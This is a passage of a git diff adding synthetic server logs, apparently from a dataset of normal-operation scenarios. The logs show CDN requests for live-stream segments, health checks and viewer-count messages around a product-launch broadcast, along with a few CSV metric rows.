/live/product-launch-2025/segment108.ts HTTP/1.1" 206 +Aug 22 10:05:56 cdn-edge[9981]: 192.168.48.37 - GET /live/product-launch-2025/segment112.ts HTTP/1.1" 206 +Aug 22 10:05:55 cdn-edge[9981]: 192.168.31.95 - GET /live/product-launch-2025/segment117.ts HTTP/1.1" 206 +Aug 22 10:06:04 cdn-edge[9981]: 192.168.78.89 - GET /live/product-launch-2025/segment107.ts HTTP/1.1" 200 +Aug 22 10:06:01 cdn-edge[9981]: 192.168.88.225 - GET /live/product-launch-2025/segment106.ts HTTP/1.1" 206 +Aug 22 10:06:00 cdn-edge[9981]: 192.168.191.65 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 206 +Aug 22 10:06:00 cdn-edge[9981]: 192.168.121.248 - GET /live/product-launch-2025/segment114.ts HTTP/1.1" 206 +Aug 22 10:06:01 cdn-edge[9981]: 192.168.48.37 - GET /live/product-launch-2025/segment101.ts HTTP/1.1" 206 +Aug 22 10:06:02 cdn-edge[9981]: 192.168.238.114 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 206 +Aug 22 10:06:03 cdn-edge[9981]: 192.168.25.1 - GET /live/product-launch-2025/segment117.ts HTTP/1.1" 206 +Aug 22 10:06:04 cdn-edge[9981]: 192.168.14.195 - GET /live/product-launch-2025/segment119.ts HTTP/1.1" 206 +Aug 22 10:06:07 cdn-edge[9981]: 192.168.77.10 - GET /live/product-launch-2025/segment119.ts HTTP/1.1" 206 +Aug 22 10:06:08 cdn-edge[9981]: 192.168.121.248 - GET /live/product-launch-2025/segment112.ts HTTP/1.1" 206 +Aug 22 10:06:09 cdn-edge[9981]: 192.168.191.65 - GET /live/product-launch-2025/segment107.ts HTTP/1.1" 206 +Aug 22 10:06:07 cdn-edge[9981]: 192.168.48.37 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 200 +Aug 22 10:06:05 cdn-edge[9981]: 192.168.175.186 - GET /live/product-launch-2025/segment109.ts HTTP/1.1" 206 +Aug 22 10:06:11 cdn-edge[9981]: 192.168.77.10 - GET /live/product-launch-2025/segment107.ts HTTP/1.1" 206 +Aug 22 10:06:10 cdn-edge[9981]: 192.168.171.202 - GET /live/product-launch-2025/segment110.ts HTTP/1.1" 206 +Aug 22 10:06:10 cdn-edge[9981]: 192.168.230.43 - GET /live/product-launch-2025/segment110.ts HTTP/1.1" 206 +Aug 22 10:06:11 cdn-edge[9981]: 192.168.191.65 - GET /live/product-launch-2025/segment109.ts HTTP/1.1" 206 +Aug 22 10:06:14 cdn-edge[9981]: 192.168.242.142 - GET /live/product-launch-2025/segment111.ts HTTP/1.1" 206 +Aug 22 10:06:13 cdn-edge[9981]: 192.168.25.1 - GET /live/product-launch-2025/segment111.ts HTTP/1.1" 200 +Aug 22 10:06:11 cdn-edge[9981]: 192.168.88.225 - GET /live/product-launch-2025/segment100.ts HTTP/1.1" 206 +Aug 22 10:06:10 cdn-edge[9981]: 192.168.238.114 - GET /live/product-launch-2025/segment116.ts HTTP/1.1" 206 +Aug 22 10:06:12 cdn-edge[9981]: 192.168.121.248 - GET /live/product-launch-2025/segment107.ts HTTP/1.1" 206 +Aug 22 10:06:19 cdn-edge[9981]: 192.168.121.232 - GET /live/product-launch-2025/segment104.ts HTTP/1.1" 206 +Aug 22 10:06:17 cdn-edge[9981]: 192.168.242.142 - GET /live/product-launch-2025/segment117.ts HTTP/1.1" 206 +Aug 22 10:06:16 cdn-edge[9981]: 192.168.171.202 - GET /live/product-launch-2025/segment102.ts HTTP/1.1" 206 +Aug 22 10:06:18 cdn-edge[9981]: 192.168.25.1 - GET /live/product-launch-2025/segment118.ts HTTP/1.1" 206 +Aug 22 10:06:17 cdn-edge[9981]: 192.168.230.43 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 206 +Aug 22 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod app-server +Aug 22 10:06:22 cdn-edge[9981]: 192.168.88.225 - GET /live/product-launch-2025/segment117.ts HTTP/1.1" 206 +Aug 22 10:06:24 cdn-edge[9981]: 192.168.235.64 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 206 +Aug 22 10:06:21 cdn-edge[9981]: 192.168.88.225 - GET /live/product-launch-2025/segment103.ts HTTP/1.1" 206 +Aug 22 10:06:23 cdn-edge[9981]: 192.168.121.248 - GET /live/product-launch-2025/segment119.ts HTTP/1.1" 206 +Aug 22 10:06:20 cdn-edge[9981]: 192.168.242.142 - GET /live/product-launch-2025/segment119.ts HTTP/1.1" 206 +Aug 22 10:06:21 cdn-edge[9981]: 192.168.242.142 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 206 +Aug 22 10:06:26 cdn-edge[9981]: 192.168.242.142 - GET /live/product-launch-2025/segment103.ts HTTP/1.1" 206 +Aug 22 10:06:27 cdn-edge[9981]: 192.168.230.43 - GET /live/product-launch-2025/segment107.ts HTTP/1.1" 206 +Aug 22 10:06:27 cdn-edge[9981]: 192.168.14.195 - GET /live/product-launch-2025/segment119.ts HTTP/1.1" 206 +Aug 22 10:06:26 cdn-edge[9981]: 192.168.25.1 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 206 +Aug 22 10:06:25 cdn-edge[9981]: 192.168.175.186 - GET /live/product-launch-2025/segment115.ts HTTP/1.1" 206 +Aug 22 10:06:29 cdn-edge[9981]: 192.168.186.210 - GET /live/product-launch-2025/segment116.ts HTTP/1.1" 206 +Aug 22 10:06:29 cdn-edge[9981]: 192.168.235.64 - GET /live/product-launch-2025/segment119.ts HTTP/1.1" 206 +Aug 22 10:06:31 cdn-edge[9981]: 192.168.31.95 - GET /live/product-launch-2025/segment115.ts HTTP/1.1" 200 +Aug 22 10:06:32 cdn-edge[9981]: 192.168.104.46 - GET /live/product-launch-2025/segment102.ts HTTP/1.1" 206 +Aug 22 10:06:31 cdn-edge[9981]: 192.168.191.65 - GET /live/product-launch-2025/segment106.ts HTTP/1.1" 206 +Aug 22 10:06:32 cdn-edge[9981]: 192.168.88.225 - GET /live/product-launch-2025/segment108.ts HTTP/1.1" 206 +Aug 22 10:06:33 cdn-edge[9981]: 192.168.13.82 - GET /live/product-launch-2025/segment110.ts HTTP/1.1" 206 +Aug 22 10:06:38 cdn-edge[9981]: 192.168.194.44 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 206 +Aug 22 10:06:39 cdn-edge[9981]: 192.168.14.195 - GET /live/product-launch-2025/segment110.ts HTTP/1.1" 206 +Aug 22 10:06:36 cdn-edge[9981]: 192.168.13.82 - GET /live/product-launch-2025/segment119.ts HTTP/1.1" 206 +Aug 22 10:06:36 cdn-edge[9981]: 192.168.171.202 - GET /live/product-launch-2025/segment112.ts HTTP/1.1" 200 +Aug 22 10:06:36 cdn-edge[9981]: 192.168.88.225 - GET /live/product-launch-2025/segment118.ts HTTP/1.1" 200 +Aug 22 10:06:37 cdn-edge[9981]: 192.168.175.186 - GET /live/product-launch-2025/segment108.ts HTTP/1.1" 206 +Aug 22 10:06:37 cdn-edge[9981]: 192.168.25.1 - GET /live/product-launch-2025/segment107.ts HTTP/1.1" 206 +Aug 22 10:06:37 cdn-edge[9981]: 192.168.121.232 - GET /live/product-launch-2025/segment114.ts HTTP/1.1" 206 +Aug 22 10:06:37 cdn-edge[9981]: 192.168.238.114 - GET /live/product-launch-2025/segment101.ts HTTP/1.1" 206 +Aug 22 10:06:44 cdn-edge[9981]: 192.168.77.10 - GET /live/product-launch-2025/segment118.ts HTTP/1.1" 206 +Aug 22 10:06:43 cdn-edge[9981]: 192.168.48.37 - GET /live/product-launch-2025/segment106.ts HTTP/1.1" 206 +Aug 22 10:06:44 cdn-edge[9981]: 192.168.104.46 - GET /live/product-launch-2025/segment118.ts HTTP/1.1" 206 +Aug 22 10:06:40 cdn-edge[9981]: 192.168.25.1 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 206 +Aug 22 10:06:42 cdn-edge[9981]: 192.168.14.195 - GET /live/product-launch-2025/segment104.ts HTTP/1.1" 206 +Aug 22 10:06:42 cdn-edge[9981]: 192.168.191.65 - GET /live/product-launch-2025/segment106.ts HTTP/1.1" 200 +Aug 22 10:06:40 cdn-edge[9981]: 192.168.191.65 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 206 +Aug 22 10:06:48 cdn-edge[9981]: 192.168.175.186 - GET /live/product-launch-2025/segment109.ts HTTP/1.1" 206 +Aug 22 10:06:48 cdn-edge[9981]: 192.168.121.232 - GET /live/product-launch-2025/segment103.ts HTTP/1.1" 206 +Aug 22 10:06:46 cdn-edge[9981]: 192.168.48.37 - GET /live/product-launch-2025/segment100.ts HTTP/1.1" 206 +Aug 22 10:06:47 cdn-edge[9981]: 192.168.88.225 - GET /live/product-launch-2025/segment100.ts HTTP/1.1" 200 +Aug 22 10:06:49 cdn-edge[9981]: 192.168.88.225 - GET /live/product-launch-2025/segment117.ts HTTP/1.1" 206 +Aug 22 10:06:48 cdn-edge[9981]: 192.168.194.44 - GET /live/product-launch-2025/segment110.ts HTTP/1.1" 206 +Aug 22 10:06:46 cdn-edge[9981]: 192.168.13.82 - GET /live/product-launch-2025/segment109.ts HTTP/1.1" 206 +Aug 22 10:06:48 cdn-edge[9981]: 192.168.235.64 - GET /live/product-launch-2025/segment118.ts HTTP/1.1" 206 +Aug 22 10:06:49 cdn-edge[9981]: 192.168.78.89 - GET /live/product-launch-2025/segment116.ts HTTP/1.1" 206 +Aug 22 10:06:52 cdn-edge[9981]: 192.168.230.43 - GET /live/product-launch-2025/segment111.ts HTTP/1.1" 200 +Aug 22 10:06:54 cdn-edge[9981]: 192.168.171.202 - GET /live/product-launch-2025/segment103.ts HTTP/1.1" 206 +Aug 22 10:06:51 cdn-edge[9981]: 192.168.230.43 - GET /live/product-launch-2025/segment117.ts HTTP/1.1" 206 +Aug 22 10:06:51 cdn-edge[9981]: 192.168.121.248 - GET /live/product-launch-2025/segment103.ts HTTP/1.1" 206 +Aug 22 10:06:51 cdn-edge[9981]: 192.168.230.43 - GET /live/product-launch-2025/segment118.ts HTTP/1.1" 200 +Aug 22 10:06:57 cdn-edge[9981]: 192.168.31.95 - GET /live/product-launch-2025/segment116.ts HTTP/1.1" 200 +Aug 22 10:06:58 cdn-edge[9981]: 192.168.77.10 - GET /live/product-launch-2025/segment110.ts HTTP/1.1" 206 +Aug 22 10:06:56 cdn-edge[9981]: 192.168.235.64 - GET /live/product-launch-2025/segment118.ts HTTP/1.1" 206 +Aug 22 10:06:56 cdn-edge[9981]: 192.168.77.10 - GET /live/product-launch-2025/segment100.ts HTTP/1.1" 206 +Aug 22 10:06:58 cdn-edge[9981]: 192.168.78.89 - GET /live/product-launch-2025/segment109.ts HTTP/1.1" 206 +Aug 22 10:06:58 cdn-edge[9981]: 192.168.31.95 - GET /live/product-launch-2025/segment106.ts HTTP/1.1" 206 +Aug 22 10:07:03 cdn-edge[9981]: 192.168.78.89 - GET /live/product-launch-2025/segment114.ts HTTP/1.1" 206 +Aug 22 10:07:02 cdn-edge[9981]: 192.168.121.248 - GET /live/product-launch-2025/segment107.ts HTTP/1.1" 206 +Aug 22 10:07:04 cdn-edge[9981]: 192.168.104.46 - GET /live/product-launch-2025/segment119.ts HTTP/1.1" 206 +Aug 22 10:07:02 cdn-edge[9981]: 192.168.230.43 - GET /live/product-launch-2025/segment114.ts HTTP/1.1" 206 +Aug 22 10:07:02 cdn-edge[9981]: 192.168.186.210 - GET /live/product-launch-2025/segment108.ts HTTP/1.1" 206 +Aug 22 10:07:01 cdn-edge[9981]: 192.168.14.195 - GET /live/product-launch-2025/segment110.ts HTTP/1.1" 206 +Aug 22 10:07:04 cdn-edge[9981]: 192.168.25.1 - GET /live/product-launch-2025/segment114.ts HTTP/1.1" 206 +Aug 22 10:07:01 cdn-edge[9981]: 192.168.194.44 - GET /live/product-launch-2025/segment115.ts HTTP/1.1" 206 +Aug 22 10:07:05 cdn-edge[9981]: 192.168.25.1 - GET /live/product-launch-2025/segment102.ts HTTP/1.1" 206 +Aug 22 10:07:09 cdn-edge[9981]: 192.168.48.37 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 206 +Aug 22 10:07:07 cdn-edge[9981]: 192.168.48.37 - GET /live/product-launch-2025/segment118.ts HTTP/1.1" 206 +Aug 22 10:07:06 cdn-edge[9981]: 192.168.191.65 - GET /live/product-launch-2025/segment112.ts HTTP/1.1" 206 +Aug 22 10:07:06 cdn-edge[9981]: 192.168.25.1 - GET /live/product-launch-2025/segment108.ts HTTP/1.1" 206 +Aug 22 10:07:05 cdn-edge[9981]: 192.168.194.44 - GET /live/product-launch-2025/segment117.ts HTTP/1.1" 206 +Aug 22 10:07:11 cdn-edge[9981]: 192.168.104.46 - GET /live/product-launch-2025/segment108.ts HTTP/1.1" 206 +Aug 22 10:07:12 cdn-edge[9981]: 192.168.104.46 - GET /live/product-launch-2025/segment104.ts HTTP/1.1" 206 +Aug 22 10:07:13 cdn-edge[9981]: 192.168.13.82 - GET /live/product-launch-2025/segment115.ts HTTP/1.1" 206 +Aug 22 10:07:14 cdn-edge[9981]: 192.168.175.186 - GET /live/product-launch-2025/segment106.ts HTTP/1.1" 206 +Aug 22 10:07:12 cdn-edge[9981]: 192.168.14.195 - GET /live/product-launch-2025/segment115.ts HTTP/1.1" 206 +Aug 22 10:07:12 cdn-edge[9981]: 192.168.25.1 - GET /live/product-launch-2025/segment102.ts HTTP/1.1" 206 +Aug 22 10:07:18 cdn-edge[9981]: 192.168.48.37 - GET /live/product-launch-2025/segment101.ts HTTP/1.1" 206 +Aug 22 10:07:18 cdn-edge[9981]: 192.168.242.142 - GET /live/product-launch-2025/segment103.ts HTTP/1.1" 206 +Aug 22 10:07:16 cdn-edge[9981]: 192.168.31.95 - GET /live/product-launch-2025/segment111.ts HTTP/1.1" 206 +Aug 22 10:07:18 cdn-edge[9981]: 192.168.230.43 - GET /live/product-launch-2025/segment108.ts HTTP/1.1" 206 +Aug 22 10:07:15 cdn-edge[9981]: 192.168.31.95 - GET /live/product-launch-2025/segment113.ts HTTP/1.1" 206 +Aug 22 10:07:18 cdn-edge[9981]: 192.168.88.225 - GET /live/product-launch-2025/segment102.ts HTTP/1.1" 200 +Aug 22 10:07:16 cdn-edge[9981]: 192.168.230.43 - GET /live/product-launch-2025/segment114.ts HTTP/1.1" 206 +Aug 22 10:07:15 cdn-edge[9981]: 192.168.242.142 - GET /live/product-launch-2025/segment108.ts HTTP/1.1" 206 +Aug 22 10:07:23 cdn-edge[9981]: 192.168.238.114 - GET /live/product-launch-2025/segment107.ts HTTP/1.1" 206 +Aug 22 10:07:23 cdn-edge[9981]: 192.168.77.10 - GET /live/product-launch-2025/segment104.ts HTTP/1.1" 206 +Aug 22 10:07:23 cdn-edge[9981]: 192.168.194.44 - GET /live/product-launch-2025/segment104.ts HTTP/1.1" 200 +Aug 22 10:07:22 cdn-edge[9981]: 192.168.88.225 - GET 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+2025-08-22T14:07:05Z,71.13380485852814,60.01263134160525,20.32667740485503,35.82342111930032,554.6891623588313 +2025-08-22T14:07:10Z,75.88358280198582,62.4241117587433,24.538616671132623,41.10777933458946,587.5289437998937 +2025-08-22T14:07:15Z,76.14922475246163,59.18204105371255,16.722723733680752,44.26625800947779,653.5133897887592 +2025-08-22T14:07:20Z,79.16529504248129,61.6152987884347,17.17636101654351,41.97811234507305,551.1308797968377 +2025-08-22T14:07:25Z,83.65506363406614,64.43004377637449,16.19975999429586,33.06782549998008,516.8078498127486 diff --git a/norm_dataset/scenario_7/norm_7_24.log b/norm_dataset/scenario_7/norm_7_24.log new file mode 100644 index 0000000000000000000000000000000000000000..f0ec16272593588c8249a3aec0a325e7cab41b17 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_24.log @@ -0,0 +1,349 @@ +Aug 22 14:00:00 web-app[3341]: GET /api/v1/status status=200 OK +Aug 22 14:00:00 systemd[1]: Starting daily health check... +Aug 22 14:00:00 cdn-edge[5123]: GET /live/stream.m3u8 status=404 Not Found +Aug 22 14:00:30 web-app[3341]: GET /api/v1/status status=200 OK +Aug 22 14:00:50 systemd[1]: Starting daily health check... +Aug 22 14:01:00 web-app[3341]: GET /api/v1/status status=200 OK +Aug 22 14:01:00 cdn-edge[5123]: GET /live/stream.m3u8 status=404 Not Found +Aug 22 14:01:30 web-app[3341]: GET /api/v1/status status=200 OK +Aug 22 14:01:40 systemd[1]: Starting daily health check... +Aug 22 14:02:00 web-app[3341]: GET /api/v1/status status=200 OK +Aug 22 14:02:00 cdn-edge[5123]: GET /live/stream.m3u8 status=404 Not Found +Aug 22 14:02:30 web-app[3341]: INFO: Live stream 'product-launch-2025' has started. +Aug 22 14:02:30 cdn-edge[5123]: GET /live/stream.m3u8 status=200 OK +Aug 22 14:02:30 cdn-edge[5123]: GET /live/stream.m3u8 status=200 OK +Aug 22 14:02:30 cdn-edge[5123]: GET /live/stream.m3u8 status=200 OK +Aug 22 14:02:30 cdn-edge[5123]: GET /live/stream.m3u8 status=200 OK +Aug 22 14:02:30 cdn-edge[5123]: GET /live/stream.m3u8 status=200 OK +Aug 22 14:02:30 web-app[3341]: INFO: Current viewers: 50,000. +Aug 22 14:02:30 cdn-edge[5123]: GET /live/stream/segment1.ts status=206 Partial Content +Aug 22 14:02:30 cdn-edge[5123]: GET /live/stream/segment1.ts status=206 Partial Content +Aug 22 14:02:30 cdn-edge[5123]: GET /live/stream/segment1.ts status=206 Partial Content +Aug 22 14:02:30 cdn-edge[5123]: GET /live/stream/segment1.ts status=206 Partial Content +Aug 22 14:02:30 cdn-edge[5123]: GET /live/stream/segment1.ts status=206 Partial Content +Aug 22 14:02:35 cdn-edge[5123]: GET /live/stream/segment2.ts status=206 Partial Content +Aug 22 14:02:35 cdn-edge[5123]: GET /live/stream/segment2.ts status=206 Partial Content +Aug 22 14:02:35 cdn-edge[5123]: GET /live/stream/segment2.ts status=206 Partial Content +Aug 22 14:02:35 cdn-edge[5123]: GET /live/stream/segment2.ts status=206 Partial Content +Aug 22 14:02:35 cdn-edge[5123]: GET /live/stream/segment2.ts status=206 Partial Content +Aug 22 14:02:40 cdn-edge[5123]: GET /live/stream/segment3.ts status=206 Partial Content +Aug 22 14:02:40 cdn-edge[5123]: GET /live/stream/segment3.ts status=206 Partial Content +Aug 22 14:02:40 cdn-edge[5123]: GET /live/stream/segment3.ts status=206 Partial Content +Aug 22 14:02:40 cdn-edge[5123]: GET /live/stream/segment3.ts status=206 Partial Content +Aug 22 14:02:40 cdn-edge[5123]: GET /live/stream/segment3.ts status=206 Partial Content +Aug 22 14:02:40 cdn-edge[5123]: GET /live/stream/segment3.ts status=206 Partial Content +Aug 22 14:02:40 cdn-edge[5123]: GET /live/stream/segment3.ts status=206 Partial Content +Aug 22 14:02:45 cdn-edge[5123]: GET /live/stream/segment4.ts status=206 Partial Content +Aug 22 14:02:45 cdn-edge[5123]: GET /live/stream/segment4.ts status=206 Partial Content +Aug 22 14:02:45 cdn-edge[5123]: GET /live/stream/segment4.ts status=206 Partial Content +Aug 22 14:02:45 cdn-edge[5123]: GET /live/stream/segment4.ts status=206 Partial Content +Aug 22 14:02:45 cdn-edge[5123]: GET /live/stream/segment4.ts status=206 Partial Content +Aug 22 14:02:50 cdn-edge[5123]: GET /live/stream/segment5.ts status=206 Partial Content +Aug 22 14:02:50 cdn-edge[5123]: GET /live/stream/segment5.ts status=206 Partial Content +Aug 22 14:02:50 cdn-edge[5123]: GET /live/stream/segment5.ts status=206 Partial Content +Aug 22 14:02:50 cdn-edge[5123]: GET /live/stream/segment5.ts status=206 Partial Content +Aug 22 14:02:50 cdn-edge[5123]: GET /live/stream/segment5.ts status=206 Partial Content +Aug 22 14:02:50 cdn-edge[5123]: GET /live/stream/segment5.ts status=206 Partial Content +Aug 22 14:02:55 cdn-edge[5123]: GET /live/stream/segment6.ts status=206 Partial Content +Aug 22 14:02:55 cdn-edge[5123]: GET /live/stream/segment6.ts status=206 Partial Content +Aug 22 14:02:55 cdn-edge[5123]: GET /live/stream/segment6.ts status=206 Partial Content +Aug 22 14:02:55 cdn-edge[5123]: GET /live/stream/segment6.ts status=206 Partial Content +Aug 22 14:02:55 cdn-edge[5123]: GET /live/stream/segment6.ts status=206 Partial Content +Aug 22 14:03:00 cdn-edge[5123]: GET /live/stream/segment7.ts status=206 Partial Content +Aug 22 14:03:00 cdn-edge[5123]: GET /live/stream/segment7.ts status=206 Partial Content +Aug 22 14:03:00 cdn-edge[5123]: GET /live/stream/segment7.ts status=206 Partial Content +Aug 22 14:03:00 cdn-edge[5123]: GET /live/stream/segment7.ts status=206 Partial Content +Aug 22 14:03:05 cdn-edge[5123]: GET /live/stream/segment8.ts status=206 Partial Content +Aug 22 14:03:05 cdn-edge[5123]: GET /live/stream/segment8.ts status=206 Partial Content +Aug 22 14:03:05 cdn-edge[5123]: GET /live/stream/segment8.ts status=206 Partial Content +Aug 22 14:03:05 cdn-edge[5123]: GET /live/stream/segment8.ts status=206 Partial Content +Aug 22 14:03:05 cdn-edge[5123]: GET /live/stream/segment8.ts status=206 Partial Content +Aug 22 14:03:05 cdn-edge[5123]: GET /live/stream/segment8.ts status=206 Partial Content +Aug 22 14:03:05 cdn-edge[5123]: GET /live/stream/segment8.ts status=206 Partial Content +Aug 22 14:03:10 cdn-edge[5123]: GET /live/stream/segment9.ts status=206 Partial Content +Aug 22 14:03:10 cdn-edge[5123]: GET /live/stream/segment9.ts status=206 Partial Content +Aug 22 14:03:10 cdn-edge[5123]: GET /live/stream/segment9.ts status=206 Partial Content +Aug 22 14:03:10 cdn-edge[5123]: GET /live/stream/segment9.ts status=206 Partial Content +Aug 22 14:03:10 cdn-edge[5123]: GET /live/stream/segment9.ts status=206 Partial Content +Aug 22 14:03:10 cdn-edge[5123]: GET /live/stream/segment9.ts status=206 Partial Content +Aug 22 14:03:15 cdn-edge[5123]: GET /live/stream/segment10.ts status=206 Partial Content +Aug 22 14:03:15 cdn-edge[5123]: GET /live/stream/segment10.ts status=206 Partial Content +Aug 22 14:03:15 cdn-edge[5123]: GET /live/stream/segment10.ts status=206 Partial Content +Aug 22 14:03:15 cdn-edge[5123]: GET /live/stream/segment10.ts status=206 Partial Content +Aug 22 14:03:20 cdn-edge[5123]: GET /live/stream/segment11.ts status=206 Partial Content +Aug 22 14:03:20 cdn-edge[5123]: GET /live/stream/segment11.ts status=206 Partial Content +Aug 22 14:03:20 cdn-edge[5123]: GET /live/stream/segment11.ts status=206 Partial Content +Aug 22 14:03:20 cdn-edge[5123]: GET /live/stream/segment11.ts status=206 Partial Content +Aug 22 14:03:20 cdn-edge[5123]: GET /live/stream/segment11.ts status=206 Partial Content +Aug 22 14:03:20 cdn-edge[5123]: GET /live/stream/segment11.ts status=206 Partial Content +Aug 22 14:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-live +Aug 22 14:03:25 cdn-edge[5123]: GET /live/stream/segment12.ts status=206 Partial Content +Aug 22 14:03:25 cdn-edge[5123]: GET /live/stream/segment12.ts status=206 Partial Content +Aug 22 14:03:25 cdn-edge[5123]: GET /live/stream/segment12.ts status=206 Partial Content +Aug 22 14:03:25 cdn-edge[5123]: GET /live/stream/segment12.ts status=206 Partial Content +Aug 22 14:03:30 cdn-edge[5123]: GET /live/stream/segment13.ts status=206 Partial Content +Aug 22 14:03:30 cdn-edge[5123]: GET /live/stream/segment13.ts status=206 Partial Content +Aug 22 14:03:30 cdn-edge[5123]: GET /live/stream/segment13.ts status=206 Partial Content +Aug 22 14:03:30 cdn-edge[5123]: GET /live/stream/segment13.ts status=206 Partial Content +Aug 22 14:03:35 cdn-edge[5123]: GET /live/stream/segment14.ts status=206 Partial Content +Aug 22 14:03:35 cdn-edge[5123]: GET /live/stream/segment14.ts status=206 Partial Content +Aug 22 14:03:35 cdn-edge[5123]: GET /live/stream/segment14.ts status=206 Partial Content +Aug 22 14:03:35 cdn-edge[5123]: GET /live/stream/segment14.ts status=206 Partial Content +Aug 22 14:03:40 cdn-edge[5123]: GET /live/stream/segment15.ts status=206 Partial Content +Aug 22 14:03:40 cdn-edge[5123]: GET /live/stream/segment15.ts status=206 Partial Content +Aug 22 14:03:40 cdn-edge[5123]: GET /live/stream/segment15.ts status=206 Partial Content +Aug 22 14:03:40 cdn-edge[5123]: GET /live/stream/segment15.ts status=206 Partial Content +Aug 22 14:03:40 cdn-edge[5123]: GET /live/stream/segment15.ts status=206 Partial Content +Aug 22 14:03:45 cdn-edge[5123]: GET /live/stream/segment16.ts status=206 Partial Content +Aug 22 14:03:45 cdn-edge[5123]: GET /live/stream/segment16.ts status=206 Partial Content +Aug 22 14:03:45 cdn-edge[5123]: GET /live/stream/segment16.ts status=206 Partial Content +Aug 22 14:03:45 cdn-edge[5123]: GET /live/stream/segment16.ts status=206 Partial Content +Aug 22 14:03:45 web-app[3341]: INFO: Current viewers: 53994. +Aug 22 14:03:50 cdn-edge[5123]: GET /live/stream/segment17.ts status=206 Partial Content +Aug 22 14:03:50 cdn-edge[5123]: GET /live/stream/segment17.ts status=206 Partial Content +Aug 22 14:03:50 cdn-edge[5123]: GET /live/stream/segment17.ts status=206 Partial Content +Aug 22 14:03:50 cdn-edge[5123]: GET /live/stream/segment17.ts status=206 Partial Content +Aug 22 14:03:55 cdn-edge[5123]: GET /live/stream/segment18.ts status=206 Partial Content +Aug 22 14:03:55 cdn-edge[5123]: GET /live/stream/segment18.ts status=206 Partial Content +Aug 22 14:03:55 cdn-edge[5123]: GET /live/stream/segment18.ts status=206 Partial Content +Aug 22 14:03:55 cdn-edge[5123]: GET /live/stream/segment18.ts status=206 Partial Content +Aug 22 14:03:55 cdn-edge[5123]: GET /live/stream/segment18.ts status=206 Partial Content +Aug 22 14:03:55 cdn-edge[5123]: GET /live/stream/segment18.ts status=206 Partial Content +Aug 22 14:03:55 cdn-edge[5123]: GET /live/stream/segment18.ts status=206 Partial Content +Aug 22 14:04:00 cdn-edge[5123]: GET /live/stream/segment19.ts status=206 Partial Content +Aug 22 14:04:00 cdn-edge[5123]: GET /live/stream/segment19.ts status=206 Partial Content +Aug 22 14:04:00 cdn-edge[5123]: GET /live/stream/segment19.ts status=206 Partial Content +Aug 22 14:04:00 cdn-edge[5123]: GET /live/stream/segment19.ts status=206 Partial Content +Aug 22 14:04:05 cdn-edge[5123]: GET /live/stream/segment20.ts status=206 Partial Content +Aug 22 14:04:05 cdn-edge[5123]: GET /live/stream/segment20.ts status=206 Partial Content +Aug 22 14:04:05 cdn-edge[5123]: GET /live/stream/segment20.ts status=206 Partial Content +Aug 22 14:04:05 cdn-edge[5123]: GET /live/stream/segment20.ts status=206 Partial Content +Aug 22 14:04:05 cdn-edge[5123]: GET /live/stream/segment20.ts status=206 Partial Content +Aug 22 14:04:05 cdn-edge[5123]: GET /live/stream/segment20.ts status=206 Partial Content +Aug 22 14:04:10 cdn-edge[5123]: GET /live/stream/segment21.ts status=206 Partial Content +Aug 22 14:04:10 cdn-edge[5123]: GET /live/stream/segment21.ts status=206 Partial Content +Aug 22 14:04:10 cdn-edge[5123]: GET /live/stream/segment21.ts status=206 Partial Content +Aug 22 14:04:10 cdn-edge[5123]: GET /live/stream/segment21.ts status=206 Partial Content +Aug 22 14:04:10 cdn-edge[5123]: GET /live/stream/segment21.ts status=206 Partial Content +Aug 22 14:04:10 cdn-edge[5123]: GET /live/stream/segment21.ts status=206 Partial Content +Aug 22 14:04:15 cdn-edge[5123]: GET /live/stream/segment22.ts status=206 Partial Content +Aug 22 14:04:15 cdn-edge[5123]: GET /live/stream/segment22.ts status=206 Partial Content +Aug 22 14:04:15 cdn-edge[5123]: GET /live/stream/segment22.ts status=206 Partial Content +Aug 22 14:04:15 cdn-edge[5123]: GET /live/stream/segment22.ts status=206 Partial Content +Aug 22 14:04:15 cdn-edge[5123]: GET /live/stream/segment22.ts status=206 Partial Content +Aug 22 14:04:15 cdn-edge[5123]: GET /live/stream/segment22.ts status=206 Partial Content +Aug 22 14:04:20 cdn-edge[5123]: GET /live/stream/segment23.ts status=206 Partial Content +Aug 22 14:04:20 cdn-edge[5123]: GET /live/stream/segment23.ts status=206 Partial Content +Aug 22 14:04:20 cdn-edge[5123]: GET /live/stream/segment23.ts status=206 Partial Content +Aug 22 14:04:20 cdn-edge[5123]: GET /live/stream/segment23.ts status=206 Partial Content +Aug 22 14:04:20 cdn-edge[5123]: GET /live/stream/segment23.ts status=206 Partial Content +Aug 22 14:04:25 cdn-edge[5123]: GET /live/stream/segment24.ts status=206 Partial Content +Aug 22 14:04:25 cdn-edge[5123]: GET /live/stream/segment24.ts status=206 Partial Content +Aug 22 14:04:25 cdn-edge[5123]: GET /live/stream/segment24.ts status=206 Partial Content +Aug 22 14:04:25 cdn-edge[5123]: GET /live/stream/segment24.ts status=206 Partial Content +Aug 22 14:04:25 cdn-edge[5123]: GET /live/stream/segment24.ts status=206 Partial Content +Aug 22 14:04:25 cdn-edge[5123]: GET /live/stream/segment24.ts status=206 Partial Content +Aug 22 14:04:30 cdn-edge[5123]: GET /live/stream/segment25.ts status=206 Partial Content +Aug 22 14:04:30 cdn-edge[5123]: GET /live/stream/segment25.ts status=206 Partial Content +Aug 22 14:04:30 cdn-edge[5123]: GET /live/stream/segment25.ts status=206 Partial Content +Aug 22 14:04:30 cdn-edge[5123]: GET /live/stream/segment25.ts status=206 Partial Content +Aug 22 14:04:30 cdn-edge[5123]: GET /live/stream/segment25.ts status=206 Partial Content +Aug 22 14:04:30 cdn-edge[5123]: GET /live/stream/segment25.ts status=206 Partial Content +Aug 22 14:04:30 cdn-edge[5123]: GET /live/stream/segment25.ts status=206 Partial Content +Aug 22 14:04:35 cdn-edge[5123]: GET /live/stream/segment26.ts status=206 Partial Content +Aug 22 14:04:35 cdn-edge[5123]: GET 